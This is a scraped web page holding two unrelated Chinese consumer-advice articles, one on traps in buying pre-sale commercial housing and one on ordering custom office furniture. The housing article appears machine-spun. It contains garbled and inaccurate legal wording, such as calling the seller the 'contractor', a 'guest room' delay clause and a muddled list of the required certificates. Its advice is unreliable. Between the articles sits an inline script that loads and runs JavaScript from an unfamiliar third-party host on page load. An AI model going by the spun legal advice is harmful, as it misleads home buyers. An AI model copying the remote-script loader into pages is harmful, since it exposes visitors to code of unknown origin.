在购买商品房需注意哪些问题和必须防范的陷阱

随着我国经济的发展，城镇化水平不断提高，农村人口大量向城市转移，人们对住房的需求越来越高，购房热情不断升温。我国的商品房绝大多数是以预售的方式出售，而商品房预售的形式也是为了防止购房者受到牵制。购买商品房，应当注意预售商品房可能遇到的风险。下面是购买商品房需注意哪些陷阱以及如何预防的介绍。购买商品房需注意哪些陷阱之一：要选择具有开发资质，信誉良好的开发商。一般来说，商品房的开发必须具备相应的资质，但在实践中存在着许多非法开发商品房的问题。所以，首先你需要知道的是开发商是否具备开发商品房项目的相应资质。同时，买家也应该了解开发商的信誉。否则，面对缺乏诚信的开发商，预购人在买房后可能无法获得预定的住房，甚至无法收回住房款。购买商品房需注意哪些陷阱之二：购房前必须检查开发商的“五卡”是否齐全。所谓“五卡”，主要包括：（1）土地使用权证；（2）建设项目规划许可证；（3）建设用地规划许可证；（4）建设证明；（5）商品房预售许可证。这些证书是证明开发商和卖方资质的关键文件，也是商品房项目合法性的关键文件。同时，买家也必须注意上述文件是否与开发商所说的相同。购买商品房需注意哪些陷阱之三：不信任开发商进行售前宣传。由于商品房的销售广告和宣传资料是开发商向预购人发出的邀请，而不是报价，一般不能直接包含在合同中。但是，有关开发商对商品房开发计划范围内的房屋及相关设施的说明和承诺有明确规定，并对签订商品房买卖合同和确定房价有重大影响的，应当视为要约。购买商品房需注意哪些陷阱之四：买方在签订合同时应注意。买受人与开发公司达成协议后，由双方签订《商品房预售合同》，房屋管理部门统一印制，工商行政管理部门监督。合同对房屋价格、支付方式、交付期限、房屋面积、违约责任等有明确规定。购买商品房需注意哪些陷阱之五：关于税收条款。合同签订时，买受人应当与发包人约定交易管理费、产权登记费、计量费、公证费、律师费、抵押费、保险费等。购买商品房需注意哪些陷阱之六：注意客房延误条款。延迟交付是商品房预售交易中较为常见的违约行为，因此一些开发商会在合同中设置延迟免除条款，以规避负债。以上是购房时需要注意的事项。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

定制办公家具好不好 定制办公家具有哪些要点

定制家具在人们生活中的应用是越来越普遍，应用的范围也越来越广泛，人们不仅可以定制和家装有关的家具，也可以定制办公家具，因为随着人们办公的时间越来越多，人们对于办公环境的要求也是逐渐变高的，一个好的办公环境能够让大家有一个很好的办公状态，定制的办公家具能够打造出更符合大家要求的办公环境，那么今天我们就会具体介绍定制办公家具的信息。定制办公家具好不好目前，定制办公家具的种类主要有会议台、办公台、屏风等。办公家具定制有很多优点。设计师会上门服务，根据顾客的需求和办公室大小,提供不同的设计方案。依据顾客选择的方案,来打造办公家具并负责配送装;设计师能根据不同办公室的格局和结构尺寸设计，能与办公室结构完美贴合，同时还能充分利用空间。定制办公家具有哪些要点大小尺寸：在选择定制办公家具时，一定要根据办公室面积来确定定制办公家具产品的种类以及大小。若办公室面积有限，在员工多的情况下，应以节省空间为主，若是办公屏风、桌组造型上应尽量简单，体量也要相对小些，这样才不会显得拥挤。选择风格：建议在办公室装修之前，就要确定办公家具的风格，然后再按照此风格，去定制、购买办公家具和沙发，这样就能避免办公家具和办公室装修风格不统一的情况发生。另外，很多人选择定制办公家具除了追求个性外，还想省钱。若预算有限，就不要为了追求个性而做一些没有必要的设计，造成不必要的浪费。查看质量：定制办公家具也不要贪便宜，有些便宜的表面上可能看不出毛病，但使用一段时间后，家具的材料、做工、配件都有可能影响到实际使用。所以小编建议在选择定制办公家具时，先根据自己的实际需要做好预算，货比三家，最后确定所要订购的产品。检查问题：定制办公家具虽然满足了个性化需求，但也存在很多后患，为了避免这些问题的发生，在验收时就显得很重要。可以看表面漆膜是否平滑、光亮、有无流坠、气泡、皱纹等质量缺陷，还要看装饰面板的色差是否大，花纹是否一致，有没有腐蚀点、破残等，各种人造板部件封边处理是否严密平直、有无脱胶，表面是否光滑平整、有无磕碰。此外，还要观察办公家具做工，可以从组合部分来观察，看办公家具每个构件之间的连接点的合理性和牢固度。在今天的内容中，我们主要是以定制办公家具为主题来展开分析的，很多用户朋友想要知道办公家具是否可以定制，答案是肯定的，定制的办公家具更能够彰显公司的文化形象，我们今天分析了定制办公家具存在的优点和定制办公家具应该注意的要点，我们提到了四个大家应该去注意的事项，建议大家在定制之前就阅读一下这些内容，这样才能制造出更适合的家具。